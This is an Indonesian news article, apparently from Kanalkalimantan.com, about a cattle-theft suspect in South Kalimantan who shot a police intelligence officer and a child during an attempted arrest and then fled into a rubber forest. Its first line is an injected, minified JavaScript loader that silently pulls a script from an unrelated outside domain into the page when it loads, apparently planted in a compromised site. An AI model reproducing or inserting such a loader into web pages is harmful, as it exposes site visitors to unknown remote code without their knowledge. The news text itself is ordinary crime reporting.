(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Khairullah, tersangka kasus pencurian sapi dan penembakan atas anggota intel Polsek Panyipatan Polres Tala, Brigadir Edi Rapi Susanto, dan seorang warga sipil bernama Novianti, saat ini masih diburu tim dari Polres Tanah Laut. Usai baku tembak pada Sabtu (7/9), tersangka yang juga mengalami luka tembak itu kabur ke hutan karet.
Saat proses penangkapan Khairullah, dari dalam mobil terdengar suara tembakan dan mengenai punggung bawah kiri Brigadir Edi Rapi Susanto, anggota Intel Polsek Panyipatan yang turut membackup giat penangkapan.
Melihat hal tersebut sebagian anggota menolong angggota yang tertembak, sebagian lagi menembak balik mobil Toyota Innova warna silver Nopol : DA 8372 BH . Setelah itu mobil tersangka berjalan lagi dengan menabrak mobil aanggota. Baik yang melakukan blokade di depan maupun yang di belakang dan melarikan diri.
Sekira kurang lebih 2 Km dari lokasi penembakan, mobil tersangka berhenti dengan kondisi pintu sudah terbuka semua. Di dapati ternyata di dalam mobil tersebut ada 3 orang penumpag (1 dewasa atasnama Irwansyah, dan 2 anak kecil laki-laki atasnama Gazali Akbar dan seorang anak perempuan atas nama Novianti binti Pariyono.) Mereka warga desa Batu Tungku Kecamatan Panyipatan dengan posisi duduk. Dan anak perempuan atasnama Novianti terluka tembak di bagian kepala depan sebelah kanan.
Di dalam mobil tersebut juga ditemukan senjata laras panjang rakitan warna hitam / hijau dengan peredam dan aminisi 5,56 mm tajam sebanyak 9 butir. Kemudian seluruh tim mengevakuasi korban, baik anggota maupun anak ke Rumah Sakit Boenyasin Pelaihari, dan mobil ke tempat salah satu kepala dusun di dekat TKP penemuan mobil.
Dari informasi yang dihimpun Kanalkalimantan.com, peristiwa ini bermula dari sebuah kasus pencurian sapi pada Minggu (1/9) pukul 21.05 WIB. Ketika itu, telah terjadi pencurian sapi warga dengan modus operandi tersangka Khairullah memberi makanan sapi yang ada racunnya. Kemudian setelah sapi tumbang, di potong di tempat. Peristiwa itu terjadi di Jalan Trans Kalimantan Km. 35,5 Desa Tumbang Nusa RT. 04, tepatnya di bawah Jembatan Layang Tumbang Nusa, Kecamatan Jabiren Raya Kabupaten Pulang Pisau, Provinsi Kalteng.
Saat ini, Brigadir Edi Rapi Susanto sadar dan dioperasi untuk mengeluarkan proyektil. Sedangkan korban masyarakat atasnama Novita dalam kondisi koma dan akan di rujuk ke RS Ciputra Banjarmasin.
“Untuk pastinya kami tidak mengetahui, saya ke sini menerima anggota yang mengalami tertembak. Kami juga mengkondisikan untuk mencari golongan darah O. Untuk kronologinya nanti akan disampaikan Kapolres Tala,” ucap Dirreskrimsus Polda Kalsel Kombes Pol Rizal Irawan kepada Kanalkalimantan.com di UGD RSUD Ulin Banjarmasin, Sabtu (7/9) malam.
“Tadi dokter belum bisa memastikan, karena saat ini sedang dioperasi. Yang pasti keterangan dari dokter jaga, kondisinya kritis,” tambah Kombes Rizal. (fikri)
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.